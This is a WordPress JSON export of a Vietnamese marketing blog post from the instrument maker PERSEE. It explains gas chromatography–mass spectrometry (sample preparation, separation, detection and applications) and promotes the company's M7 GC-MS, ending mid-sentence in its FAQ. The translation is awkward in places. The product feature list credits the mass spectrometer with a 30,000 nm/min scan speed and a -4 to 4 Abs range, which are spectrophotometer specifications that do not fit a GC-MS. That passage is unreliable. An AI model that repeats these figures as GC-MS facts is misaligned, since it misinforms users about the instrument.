{"id":3683,"date":"2025-06-26T11:50:30","date_gmt":"2025-06-26T03:50:30","guid":{"rendered":"https:\/\/www.pgeneral.com\/?p=3683"},"modified":"2025-06-27T17:36:11","modified_gmt":"2025-06-27T09:36:11","slug":"how-gas-chromatography-mass-spectrometry-identifies-complex-gases","status":"publish","type":"post","link":"https:\/\/www.pgeneral.com\/vi\/news\/how-gas-chromatography-mass-spectrometry-identifies-complex-gases\/","title":{"rendered":"C\u00e1ch quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed x\u00e1c \u0111\u1ecbnh c\u00e1c kh\u00ed ph\u1ee9c t\u1ea1p"},"content":{"rendered":"<p>Gas Chromatography Mass Spectrometry (GC-MS) l\u00e0 m\u1ed9t c\u00f4ng c\u1ee5 m\u1ea1nh m\u1ebd. N\u00f3 gi\u00fap t\u00ecm th\u1ea5y c\u00e1c kh\u00ed ph\u1ee9c t\u1ea1p trong nhi\u1ec1u l\u0129nh v\u1ef1c. B\u1ea1n c\u00f3 ki\u1ec3m tra ch\u1ea5t l\u01b0\u1ee3ng kh\u00f4ng kh\u00ed kh\u00f4ng? Hay l\u00e0m vi\u1ec7c trong m\u1ed9t nh\u00e0 m\u00e1y? C\u00f3 th\u1ec3 b\u1ea1n&#8217; H\u1ecdc thu\u1ed1c? GC-MS cung c\u1ea5p k\u1ebft qu\u1ea3 r\u00f5 r\u00e0ng v\u00e0 ch\u00ednh x\u00e1c. Trong blog n\u00e0y, ch\u00fang t\u00f4i gi\u1ea3i th\u00edch c\u00e1ch GC-MS ho\u1ea1t \u0111\u1ed9ng, c\u00e1ch s\u1eed d\u1ee5ng, l\u1ee3i \u00edch v\u00e0 l\u00fd do t\u1ea1i sao <a href=\"https:\/\/www.pgeneral.com\/vi\/\"><u>PERSEE<\/u><\/a>\u00a0l\u00e0 m\u1ed9t l\u1ef1a ch\u1ecdn tuy\u1ec7t v\u1eddi cho c\u00e1c c\u00f4ng c\u1ee5 GC-MS h\u00e0ng \u0111\u1ea7u.<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-3684\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/1-d6f2d76af7b70baed605b2219a1c013.png\" alt=\"C\u00e1ch quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed x\u00e1c \u0111\u1ecbnh c\u00e1c kh\u00ed ph\u1ee9c t\u1ea1p\" width=\"681\" height=\"346\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/1-d6f2d76af7b70baed605b2219a1c013.png 681w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/1-d6f2d76af7b70baed605b2219a1c013-300x152.png 300w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/1-d6f2d76af7b70baed605b2219a1c013-18x9.png 18w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/1-d6f2d76af7b70baed605b2219a1c013-600x305.png 600w\" sizes=\"(max-width: 681px) 100vw, 681px\" \/><\/p>\n<h2>C\u00e1c nguy\u00ean t\u1eafc c\u01a1 b\u1ea3n c\u1ee7a quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed<\/h2>\n<p>GC-MS tr\u1ed9n hai ph\u01b0\u01a1ng ph\u00e1p. Nh\u00e3n s\u1eafc h\u1ecdc kh\u00ed (GC) chia c\u00e1c h\u1ee3p ch\u1ea5t trong m\u1ed9t h\u1ed7n h\u1ee3p. Ph\u1ed5 ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng (MS) \u0111\u1eb7t t\u00ean v\u00e0 \u0111o l\u01b0\u1eddng c\u00e1c h\u1ee3p ch\u1ea5t \u0111\u00f3. C\u00f4ng vi\u1ec7c nh\u00f3m n\u00e0y l\u00e0m cho GC-MS ho\u00e0n h\u1ea3o cho vi\u1ec7c ki\u1ec3m tra kh\u00ed bay h\u01a1i d\u1ec5 d\u00e0ng. N\u00f3 chia m\u1eabu th\u00e0nh c\u00e1c b\u1ed9 ph\u1eadn v\u00e0 nghi\u00ean c\u1ee9u trang \u0111i\u1ec3m c\u1ee7a ch\u00fang.<\/p>\n<p>GC-MS ho\u1ea1t \u0111\u1ed9ng b\u1eb1ng c\u00e1ch di chuy\u1ec3n c\u00e1c h\u1ee3p ch\u1ea5t kh\u00e1c nhau. Trong GC, c\u00e1c h\u1ee3p ch\u1ea5t bi\u1ebfn th\u00e0nh h\u01a1i n\u01b0\u1edbc. M\u1ed9t kh\u00ed inert mang ch\u00fang qua m\u1ed9t \u1ed1ng. H\u1ecd d\u00ednh v\u00e0o l\u1edbp l\u00f3t b\u00ean trong c\u1ee7a \u1ed1ng theo nh\u1eefng c\u00e1ch \u0111\u1ed9c \u0111\u00e1o. \u0110i\u1ec1u n\u00e0y t\u00e1ch ch\u00fang ra. Sau \u0111\u00f3, MS nh\u00ecn v\u00e0o c\u00e1c h\u1ee3p ch\u1ea5t ph\u00e2n chia n\u00e0y. N\u00f3 t\u1ea1o ra c\u00e1c m\u1eabu \u0111\u1eb7c bi\u1ec7t, nh\u01b0 d\u1ea5u v\u00e2n tay, \u0111\u1ec3 x\u00e1c \u0111\u1ecbnh t\u1eebng m\u1eabu.<\/p>\n<p>\u00dd t\u01b0\u1edfng c\u01a1 b\u1ea3n n\u00e0y gi\u00fap ch\u00fang t\u00f4i hi\u1ec3u c\u00e1c b\u01b0\u1edbc c\u1ee7a GC-MS. Nh\u1eefng b\u01b0\u1edbc n\u00e0y \u0111\u1ea3m b\u1ea3o k\u1ebft qu\u1ea3 b\u1ea1n c\u00f3 th\u1ec3 tin t\u01b0\u1edfng.<\/p>\n<h2>C\u00e1c b\u01b0\u1edbc trong qu\u00e1 tr\u00ecnh quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed<\/h2>\n<p>GC-MS c\u00f3 m\u1ed9t v\u00e0i b\u01b0\u1edbc quan tr\u1ecdng. M\u1ed7i b\u01b0\u1edbc \u0111\u1ea3m b\u1ea3o c\u00e1c kh\u00ed \u0111\u01b0\u1ee3c t\u00e1ch v\u00e0 \u0111\u1eb7t t\u00ean ch\u00ednh x\u00e1c. H\u00e3y xem x\u00e9t k\u1ef9 c\u00e1c b\u01b0\u1edbc n\u00e0y.<\/p>\n<h3>K\u1ef9 thu\u1eadt chu\u1ea9n b\u1ecb m\u1eabu cho ph\u00e2n t\u00edch<\/h3>\n<p>Tr\u01b0\u1edbc ti\u00ean, b\u1ea1n ph\u1ea3i s\u1eb5n s\u00e0ng m\u1eabu. \u0110i\u1ec1u n\u00e0y l\u00e0m cho ch\u00fang ho\u1ea1t \u0111\u1ed9ng t\u1ed1t v\u1edbi c\u00e1c c\u00f4ng c\u1ee5 GC-MS. Chu\u1ea9n b\u1ecb t\u1ed1t d\u1eabn \u0111\u1ebfn k\u1ebft qu\u1ea3 t\u1ed1t h\u01a1n. D\u01b0\u1edbi \u0111\u00e2y l\u00e0 nh\u1eefng c\u00e1ch ph\u1ed5 bi\u1ebfn \u0111\u1ec3 chu\u1ea9n b\u1ecb m\u1eabu:<\/p>\n<ul>\n<li><strong>L\u1ea5y m\u1eabu Headspace<\/strong>L\u1ea5y kh\u00ed tr\u00ean m\u1eabu l\u1ecfng ho\u1eb7c r\u1eafn.<\/li>\n<li><strong>Purge v\u00e0 b\u1eaby<\/strong>Thu th\u1eadp m\u1ed9t l\u01b0\u1ee3ng nh\u1ecf kh\u00ed b\u1eb1ng c\u00e1ch \u0111\u1ea9y ch\u00fang ra v\u00e0 b\u1eaft ch\u00fang.<\/li>\n<li><strong>Microextraction pha r\u1eafn (SPME)<\/strong>S\u1eed d\u1ee5ng m\u1ed9t s\u1ee3i \u0111\u1ec3 h\u1ea5p th\u1ee5 kh\u00ed \u0111\u1ec3 ki\u1ec3m tra.<\/li>\n<\/ul>\n<p>Chu\u1ea9n b\u1ecb c\u1ea9n th\u1eadn gi\u1ea3m thi\u1ec3u sai l\u1ea7m. N\u00f3 c\u0169ng l\u00e0m cho ph\u00e2n t\u00edch nh\u1ea1y c\u1ea3m h\u01a1n.<\/p>\n<h3>T\u00e1ch c\u00e1c h\u1ee3p ch\u1ea5t b\u1eb1ng c\u00e1ch s\u1eed d\u1ee5ng nhi\u1ec5m s\u1eafc kh\u00ed<\/h3>\n<p>Ti\u1ebfp theo, m\u1eabu \u0111i v\u00e0o h\u1ec7 th\u1ed1ng GC. N\u00f3 bi\u1ebfn th\u00e0nh h\u01a1i \u1edf \u0111\u00f3. M\u1ed9t kh\u00ed an to\u00e0n, nh\u01b0 heli, mang n\u00f3 qua m\u1ed9t \u1ed1ng m\u1ecfng. C\u00e1c h\u1ee3p ch\u1ea5t h\u00e0nh \u0111\u1ed9ng kh\u00e1c v\u1edbi l\u1edbp l\u00f3t c\u1ee7a \u1ed1ng. V\u00ec v\u1eady, h\u1ecd t\u00e1ch ra. M\u1ed7i h\u1ee3p ch\u1ea5t r\u1eddi kh\u1ecfi \u1ed1ng \u1edf m\u1ed9t th\u1eddi \u0111i\u1ec3m kh\u00e1c nhau.<\/p>\n<p>S\u1ef1 chia r\u1ebd n\u00e0y l\u00e0 ch\u00eca kh\u00f3a. N\u00f3 \u0111\u1ea3m b\u1ea3o b\u01b0\u1edbc ti\u1ebfp theo c\u00f3 \u0111\u01b0\u1ee3c c\u00e1c h\u1ee3p ch\u1ea5t s\u1ea1ch \u0111\u1ec3 ki\u1ec3m tra.<\/p>\n<h3>Ph\u00e1t hi\u1ec7n v\u00e0 x\u00e1c \u0111\u1ecbnh th\u00f4ng qua quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng<\/h3>\n<p>Sau khi t\u00e1ch, c\u00e1c h\u1ee3p ch\u1ea5t v\u00e0o quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng. \u1ede \u0111\u00e2y, ch\u00fang b\u1ecb nh\u00fang v\u00e0o c\u00e1c m\u1ea3nh nh\u1ecf. Nh\u1eefng bit n\u00e0y t\u1ea1o th\u00e0nh c\u00e1c m\u00f4 h\u00ecnh \u0111\u1ed9c \u0111\u00e1o cho m\u1ed7i h\u1ee3p ch\u1ea5t. B\u1eb1ng c\u00e1ch k\u1ebft h\u1ee3p c\u00e1c m\u00f4 h\u00ecnh n\u00e0y v\u1edbi nh\u1eefng m\u00f4 h\u00ecnh \u0111\u00e3 bi\u1ebft, GC-MS \u0111\u1eb7t t\u00ean cho c\u00e1c kh\u00ed v\u00e0 cho bi\u1ebft m\u1ed7i kh\u00ed c\u00f3 bao nhi\u00eau.<\/p>\n<p>S\u1ef1 pha tr\u1ed9n c\u1ee7a vi\u1ec7c t\u00e1ch v\u00e0 \u0111\u1eb7t t\u00ean n\u00e0y l\u00e0m cho GC-MS tuy\u1ec7t v\u1eddi cho vi\u1ec7c nghi\u00ean c\u1ee9u c\u00e1c kh\u00ed ph\u1ee9c t\u1ea1p. N\u00f3 ho\u1ea1t \u0111\u1ed9ng trong nhi\u1ec1u l\u0129nh v\u1ef1c.<\/p>\n<h2>\u1ee8ng d\u1ee5ng trong vi\u1ec7c x\u00e1c \u0111\u1ecbnh kh\u00ed ph\u1ee9c t\u1ea1p<\/h2>\n<p>GC-MS h\u1eefu \u00edch trong nhi\u1ec1u c\u00f4ng vi\u1ec7c. N\u00f3 gi\u00fap ph\u00e2n t\u00edch kh\u00ed ch\u00ednh x\u00e1c. H\u00e3y kh\u00e1m ph\u00e1 m\u1ed9t s\u1ed1 \u1ee9ng d\u1ee5ng l\u1edbn.<\/p>\n<h3>Theo d\u00f5i m\u00f4i tr\u01b0\u1eddng v\u00e0 ph\u00e2n t\u00edch ch\u1ea5t l\u01b0\u1ee3ng kh\u00f4ng kh\u00ed<\/h3>\n<p>GC-MS r\u1ea5t quan tr\u1ecdng \u0111\u1ec3 ki\u1ec3m tra kh\u00f4ng kh\u00ed. N\u00f3 t\u00ecm th\u1ea5y m\u1ed9t l\u01b0\u1ee3ng nh\u1ecf c\u00e1c kh\u00ed c\u00f3 h\u1ea1i, nh\u01b0 benzen ho\u1eb7c toluene. C\u00e1c nh\u00e0 khoa h\u1ecdc s\u1eed d\u1ee5ng n\u00f3 \u0111\u1ec3 theo d\u00f5i kh\u00ed th\u1ea3i c\u1ee7a c\u00e1c nh\u00e0 m\u00e1y. \u0110i\u1ec1u n\u00e0y gi\u00fap gi\u1eef kh\u00f4ng kh\u00ed s\u1ea1ch s\u1ebd v\u00e0 tu\u00e2n th\u1ee7 lu\u1eadt ph\u00e1p \u0111\u1ec3 b\u1ea3o v\u1ec7 con ng\u01b0\u1eddi.<\/p>\n<h3>\u1ee8ng d\u1ee5ng c\u00f4ng nghi\u1ec7p trong s\u1ea3n xu\u1ea5t h\u00f3a ch\u1ea5t<\/h3>\n<p>Trong c\u00e1c nh\u00e0 m\u00e1y, GC-MS ki\u1ec3m tra ch\u1ea5t l\u01b0\u1ee3ng s\u1ea3n ph\u1ea9m. N\u00f3 nh\u00ecn v\u00e0o nguy\u00ean li\u1ec7u th\u00f4 v\u00e0 h\u00e0ng h\u00f3a cu\u1ed1i c\u00f9ng. N\u00f3 ph\u00e1t hi\u1ec7n nh\u1eefng th\u1ee9 kh\u00f4ng mong mu\u1ed1n, nh\u01b0 dung m\u00f4i c\u00f2n l\u1ea1i. \u0110i\u1ec1u n\u00e0y gi\u00fap c\u00e1c nh\u00e0 m\u00e1y s\u1ea3n xu\u1ea5t s\u1ea3n ph\u1ea9m tinh khi\u1ebft v\u00e0 l\u00e0m vi\u1ec7c t\u1ed1t h\u01a1n.<\/p>\n<h3>S\u1eed d\u1ee5ng y t\u1ebf v\u00e0 d\u01b0\u1ee3c ph\u1ea9m<\/h3>\n<p>Trong y h\u1ecdc, GC-MS gi\u00fap t\u1ea1o ra thu\u1ed1c an to\u00e0n. N\u00f3 t\u00ecm th\u1ea5y dung m\u00f4i c\u00f2n l\u1ea1i \u0111\u1ec3 \u0111\u1ea3m b\u1ea3o thu\u1ed1c an to\u00e0n. N\u00f3 c\u0169ng ki\u1ec3m tra c\u00e1c m\u1eabu h\u01a1i th\u1edf cho c\u00e1c d\u1ea5u hi\u1ec7u b\u1ec7nh. \u0110i\u1ec1u n\u00e0y gi\u00fap c\u00e1c b\u00e1c s\u0129 ch\u1ea9n \u0111o\u00e1n b\u1ec7nh v\u00e0 l\u1eadp k\u1ebf ho\u1ea1ch \u0111i\u1ec1u tr\u1ecb.<\/p>\n<p>Nh\u1eefng c\u00e1ch s\u1eed d\u1ee5ng n\u00e0y cho th\u1ea5y c\u00e1ch GC-MS gi\u00fap khoa h\u1ecdc v\u00e0 c\u00f4ng nghi\u1ec7p ph\u00e1t tri\u1ec3n. K\u1ef9 n\u0103ng \u0111\u1eb7c bi\u1ec7t c\u1ee7a n\u00f3 l\u00e0m cho n\u00f3 tr\u1edf th\u00e0nh l\u1ef1a ch\u1ecdn h\u00e0ng \u0111\u1ea7u.<\/p>\n<h2>L\u1ee3i \u00edch c\u1ee7a vi\u1ec7c s\u1eed d\u1ee5ng Gas Chromatography Mass Spectrometry<\/h2>\n<p>GC-MS c\u00f3 nhi\u1ec1u l\u1ee3i th\u1ebf. \u0110i\u1ec1u n\u00e0y l\u00e0m cho n\u00f3 ph\u1ed5 bi\u1ebfn cho ph\u00e2n t\u00edch kh\u00ed. \u0110\u00e2y l\u00e0 nh\u1eefng l\u1ee3i \u00edch ch\u00ednh cho ng\u01b0\u1eddi d\u00f9ng.<\/p>\n<h3>\u0110\u1ed9 nh\u1ea1y c\u1ea3m cao v\u00e0 \u0111\u1ed9 ch\u00ednh x\u00e1c trong ph\u00e1t hi\u1ec7n<\/h3>\n<p>GC-MS r\u1ea5t nh\u1ea1y c\u1ea3m. N\u00f3 t\u00ecm th\u1ea5y kh\u00ed \u1edf m\u1ed9t l\u01b0\u1ee3ng nh\u1ecf, th\u1ea5p nh\u01b0 ph\u1ea7n tr\u00ean t\u1ef7 (ppb). \u0110i\u1ec1u n\u00e0y l\u00e0m cho n\u00f3 tuy\u1ec7t v\u1eddi cho c\u00e1c c\u00f4ng vi\u1ec7c c\u1ea7n k\u1ebft qu\u1ea3 ch\u00ednh x\u00e1c, ch\u1eb3ng h\u1ea1n nh\u01b0 ki\u1ec3m tra ch\u1ea5t l\u01b0\u1ee3ng kh\u00f4ng kh\u00ed.<\/p>\n<h3>Kh\u1ea3 n\u0103ng ph\u00e2n t\u00edch h\u1ed7n h\u1ee3p ph\u1ee9c t\u1ea1p<\/h3>\n<p>GC-MS x\u1eed l\u00fd h\u1ed7n h\u1ee3p v\u1edbi nhi\u1ec1u h\u1ee3p ch\u1ea5t. N\u00f3 ph\u00e2n chia v\u00e0 \u0111\u1eb7t t\u00ean cho ch\u00fang r\u00f5 r\u00e0ng. Ngay c\u1ea3 c\u00e1c kh\u00ed t\u01b0\u01a1ng t\u1ef1 c\u0169ng \u0111\u01b0\u1ee3c x\u00e1c \u0111\u1ecbnh ch\u00ednh x\u00e1c. \u0110i\u1ec1u n\u00e0y cung c\u1ea5p chi ti\u1ebft \u0111\u1ea7y \u0111\u1ee7 v\u1ec1 m\u1ed9t m\u1eabu.<\/p>\n<h3>Hi\u1ec7u qu\u1ea3 th\u1eddi gian trong c\u00e1c quy tr\u00ecnh ph\u00e2n t\u00edch<\/h3>\n<p>GC-MS hi\u1ec7n \u0111\u1ea1i, gi\u1ed1ng nh\u01b0 c\u1ee7a PERSEE, r\u1ea5t nhanh. N\u00f3 qu\u00e9t nhanh ch\u00f3ng v\u00e0 s\u1eed d\u1ee5ng c\u00e1c b\u01b0\u1edbc t\u1ef1 \u0111\u1ed9ng. K\u1ebft qu\u1ea3 \u0111\u1ebfn trong v\u00e0i ph\u00fat. \u0110i\u1ec1u n\u00e0y t\u0103ng t\u1ed1c c\u00f4ng vi\u1ec7c ph\u00f2ng th\u00ed nghi\u1ec7m v\u00e0 t\u0103ng n\u0103ng su\u1ea5t.<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>L\u1ee3i \u00edch<\/strong><\/td>\n<td><strong>M\u00f4 t\u1ea3<\/strong><\/td>\n<td><strong>T\u00e1c \u0111\u1ed9ng<\/strong><\/td>\n<\/tr>\n<tr>\n<td>\u0110\u1ed9 nh\u1ea1y c\u1ea3m cao<\/td>\n<td>T\u00ecm l\u01b0\u1ee3ng kh\u00ed nh\u1ecf \u1edf m\u1ee9c ppb<\/td>\n<td>Cung c\u1ea5p k\u1ebft qu\u1ea3 ch\u00ednh x\u00e1c cho c\u00e1c nhi\u1ec7m v\u1ee5 quan tr\u1ecdng<\/td>\n<\/tr>\n<tr>\n<td>Ph\u00e2n t\u00edch h\u1ed7n h\u1ee3p ph\u1ee9c t\u1ea1p<\/td>\n<td>Chia v\u00e0 \u0111\u1eb7t t\u00ean nhi\u1ec1u h\u1ee3p ch\u1ea5t<\/td>\n<td>Hi\u1ec3n th\u1ecb chi ti\u1ebft m\u1eabu \u0111\u1ea7y \u0111\u1ee7<\/td>\n<\/tr>\n<tr>\n<td>Hi\u1ec7u qu\u1ea3 th\u1eddi gian<\/td>\n<td>Qu\u00e9t nhanh v\u00e0 d\u00f2ng c\u00f4ng vi\u1ec7c t\u1ef1 \u0111\u1ed9ng<\/td>\n<td>L\u00e0m cho ph\u00f2ng th\u00ed nghi\u1ec7m nhanh h\u01a1n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Nh\u1eefng l\u1ee3i \u00edch n\u00e0y cho th\u1ea5y t\u1ea1i sao GC-MS l\u00e0 ch\u00eca kh\u00f3a trong ph\u00e2n t\u00edch. Ch\u1ecdn m\u1ed9t nh\u00e0 cung c\u1ea5p t\u1ed1t l\u00e0 r\u1ea5t quan tr\u1ecdng.<\/p>\n<h2>Gi\u1edbi thi\u1ec7u v\u1ec1 PERSEE nh\u01b0 m\u1ed9t nh\u00e0 cung c\u1ea5p \u0111\u00e1ng tin c\u1eady<\/h2>\n<p>Ch\u00fang t\u00f4i t\u1ea1i <a href=\"https:\/\/www.pgeneral.com\/vi\/\"><u>PERSEE<\/u><\/a>\u00a0C\u00f4ng c\u1ee5 ph\u00e2n t\u00edch t\u1eeb n\u0103m 1991. Ch\u00fang t\u00f4i t\u1ef1 h\u00e0o cung c\u1ea5p c\u00e1c gi\u1ea3i ph\u00e1p GC-MS ti\u00ean ti\u1ebfn. C\u00e1c c\u00f4ng c\u1ee5 c\u1ee7a ch\u00fang t\u00f4i gi\u00fap kh\u00e1ch h\u00e0ng \u0111\u1ea1t \u0111\u01b0\u1ee3c m\u1ee5c ti\u00eau c\u1ee7a h\u1ecd. T\u1eadp trung v\u00e0o nh\u1eefng \u00fd t\u01b0\u1edfng m\u1edbi v\u00e0 ch\u1ea5t l\u01b0\u1ee3ng l\u00e0m cho ch\u00fang t\u00f4i tr\u1edf th\u00e0nh m\u1ed9t t\u00ean \u0111\u00e1ng tin c\u1eady tr\u00ean to\u00e0n th\u1ebf gi\u1edbi.<\/p>\n<h3>PERSEE&#8217; Chuy\u00ean m\u00f4n v\u1ec1 gi\u1ea3i ph\u00e1p quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed<\/h3>\n<p>V\u1edbi h\u01a1n 30 n\u0103m l\u00e0m vi\u1ec7c, ch\u00fang t\u00f4i bi\u1ebft GC-MS t\u1ed1t. c\u1ee7a ch\u00fang t\u00f4i <a href=\"https:\/\/www.pgeneral.com\/vi\/product\/m7\/\"><u>M7 t\u1ee9 c\u1ef1c \u0111\u01a1n GC-MS<\/u><\/a>\u00a0\u0111\u00e1ng tin c\u1eady v\u00e0 d\u1ec5 s\u1eed d\u1ee5ng. N\u00f3 c\u00f3 ch\u1ee9ng nh\u1eadn ISO9001, ISO14001 v\u00e0 CE. \u0110i\u1ec1u n\u00e0y cho th\u1ea5y cam k\u1ebft c\u1ee7a ch\u00fang t\u00f4i \u0111\u1ed1i v\u1edbi ch\u1ea5t l\u01b0\u1ee3ng v\u00e0 th\u1ef1c ti\u1ec5n th\u00e2n thi\u1ec7n v\u1edbi m\u00f4i tr\u01b0\u1eddng.<\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-full wp-image-3685\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/c858f1cb139be898cc2d340a73a40d7-1024x683-1.png\" alt=\"c858f1cb139be898cc2d340a73a40d7-1024x683\" width=\"1024\" height=\"683\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/c858f1cb139be898cc2d340a73a40d7-1024x683-1.png 1024w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/c858f1cb139be898cc2d340a73a40d7-1024x683-1-300x200.png 300w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/c858f1cb139be898cc2d340a73a40d7-1024x683-1-768x512.png 768w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/c858f1cb139be898cc2d340a73a40d7-1024x683-1-18x12.png 18w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/c858f1cb139be898cc2d340a73a40d7-1024x683-1-600x400.png 600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<h3>C\u00e1c t\u00ednh n\u0103ng ch\u00ednh c\u1ee7a c\u00f4ng c\u1ee5 PERSEE<\/h3>\n<p>H\u1ec7 th\u1ed1ng GC-MS c\u1ee7a ch\u00fang t\u00f4i c\u00f3 c\u00e1c t\u00ednh n\u0103ng tuy\u1ec7t v\u1eddi \u0111\u1ec3 l\u00e0m cho ph\u00e2n t\u00edch t\u1ed1t h\u01a1n:<\/p>\n<ul>\n<li><strong>Qu\u00e9t nhanh<\/strong>Qu\u00e9t ch\u1ec9 trong 2 gi\u00e2y v\u1edbi t\u1ed1c \u0111\u1ed9 30.000 nm \/ ph\u00fat.<\/li>\n<li><strong>Ph\u1ea1m vi r\u1ed9ng<\/strong>X\u1eed l\u00fd c\u00e1c m\u1eabu m\u1ea1nh m\u1ebd v\u1edbi ph\u1ea1m vi -4 \u0111\u1ebfn 4 Abs.<\/li>\n<li><strong>D\u00f2ng c\u00f4ng vi\u1ec7c d\u1ec5 d\u00e0ng<\/strong>C\u00e1c bi\u1ec7n ph\u00e1p trong ba l\u1ea7n nh\u1ea5p chu\u1ed9t v\u1edbi c\u00e1c ph\u01b0\u01a1ng ph\u00e1p b\u1ea1n c\u00f3 th\u1ec3 t\u00f9y ch\u1ec9nh v\u00e0 chia s\u1ebb.<\/li>\n<\/ul>\n<p>Nh\u1eefng t\u00ednh n\u0103ng n\u00e0y l\u00e0m cho c\u00e1c c\u00f4ng c\u1ee5 c\u1ee7a ch\u00fang t\u00f4i, nh\u01b0 M7, tuy\u1ec7t v\u1eddi cho c\u00e1c c\u00f4ng vi\u1ec7c kh\u00f3 kh\u0103n. Mu\u1ed1n bi\u1ebft th\u00eam? <a href=\"https:\/\/www.pgeneral.com\/vi\/lien-he-voi-chung-toi\/\"><u>Li\u00ean h\u1ec7 v\u1edbi ch\u00fang t\u00f4i<\/u><\/a>.<\/p>\n<p>K\u1ef9 n\u0103ng v\u00e0 c\u00f4ng ngh\u1ec7 hi\u1ec7n \u0111\u1ea1i c\u1ee7a ch\u00fang t\u00f4i l\u00e0m cho ch\u00fang t\u00f4i tr\u1edf th\u00e0nh nh\u00e0 l\u00e3nh \u0111\u1ea1o trong ph\u00e2n t\u00edch kh\u00ed. Ch\u00fang t\u00f4i gi\u00fap kh\u00e1ch h\u00e0ng \u1edf ph\u00eda tr\u01b0\u1edbc.<\/p>\n<h2>K\u1ebft lu\u1eadn: Ti\u1ebfn b\u1ed9 x\u00e1c \u0111\u1ecbnh kh\u00ed ph\u1ee9c t\u1ea1p b\u1eb1ng c\u00f4ng ngh\u1ec7<\/h2>\n<p>Gas Chromatography Mass Spectrometry thay \u0111\u1ed5i c\u00e1ch ch\u00fang ta t\u00ecm th\u1ea5y c\u00e1c kh\u00ed ph\u1ee9c t\u1ea1p. N\u00f3 gi\u00fap ki\u1ec3m tra kh\u00f4ng kh\u00ed, c\u00f4ng vi\u1ec7c nh\u00e0 m\u00e1y v\u00e0 y h\u1ecdc. \u0110\u1ed9 nh\u1ea1y c\u1ea3m, x\u1eed l\u00fd tr\u1ed9n v\u00e0 t\u1ed1c \u0111\u1ed9 c\u1ee7a n\u00f3 l\u00e0m cho n\u00f3 tr\u1edf th\u00e0nh m\u1ed9t c\u00f4ng c\u1ee5 c\u1ea7n thi\u1ebft. T\u1ea1i PERSEE, ch\u00fang t\u00f4i cam k\u1ebft cung c\u1ea5p cho b\u1ea1n c\u00e1c c\u00f4ng c\u1ee5 GC-MS tuy\u1ec7t v\u1eddi. Ki\u1ec3m tra c\u00e1c s\u1ea3n ph\u1ea9m c\u1ee7a ch\u00fang t\u00f4i \u0111\u1ec3 c\u1ea3i thi\u1ec7n ph\u00e2n t\u00edch kh\u00ed c\u1ee7a b\u1ea1n h\u00f4m nay.<\/p>\n<h2>C\u00e2u h\u1ecfi th\u01b0\u1eddng g\u1eb7p v\u1ec1 quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed<\/h2>\n<h3>Q1 Nh\u1eefng lo\u1ea1i kh\u00ed n\u00e0o c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c ph\u00e2n t\u00edch b\u1eb1ng c\u00e1ch s\u1eed d\u1ee5ng quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed?<\/h3>\n<p>A1 GC-MS ho\u1ea1t \u0111\u1ed9ng tr\u00ean c\u00e1c kh\u00ed d\u1ec5 bay h\u01a1i, nh\u01b0 c\u00e1c h\u1ee3p ch\u1ea5t h\u1eefu c\u01a1 bay h\u01a1i (VOC) v\u00e0 hydrocarbon. N\u00f3 c\u0169ng ki\u1ec3m tra dung m\u00f4i c\u00f2n l\u1ea1i. N\u00f3 \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng trong ki\u1ec3m tra kh\u00f4ng kh\u00ed, nh\u00e0 m\u00e1y v\u00e0 s\u1ea3n xu\u1ea5t thu\u1ed1c \u0111\u1ec3 t\u00ecm c\u00e1c kh\u00ed nh\u01b0 benzen ho\u1eb7c carbon dioxide.<\/p>\n<h3>Q2 Ph\u00e2n ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed kh\u00e1c v\u1edbi c\u00e1c ph\u01b0\u01a1ng ph\u00e1p ph\u00e2n t\u00edch kh\u00e1c nh\u01b0 th\u1ebf n\u00e0o?<\/h3>\n<p>A2 GC-MS l\u00e0 \u0111\u1eb7c bi\u1ec7t. N\u00f3 chia v\u00e0 \u0111\u1eb7t t\u00ean cho c\u00e1c h\u1ee3p ch\u1ea5t trong m\u1ed9t l\u1ea7n. Kh\u00f4ng gi\u1ed1ng nh\u01b0 c\u00e1c ph\u01b0\u01a1ng ph\u00e1p h\u1ed3ng ngo\u1ea1i ho\u1eb7c ch\u1ea5t l\u1ecfng, n\u00f3 t\u1ea1o ra c\u00e1c m\u00f4 h\u00ecnh \u0111\u1ed9c \u0111\u00e1o cho m\u1ed7i h\u1ee3p ch\u1ea5t. \u0110i\u1ec1u n\u00e0y cung c\u1ea5p k\u1ebft qu\u1ea3 r\u00f5 r\u00e0ng v\u00e0 c\u1ee5 th\u1ec3 cho c\u00e1c kh\u00ed ph\u1ee9c 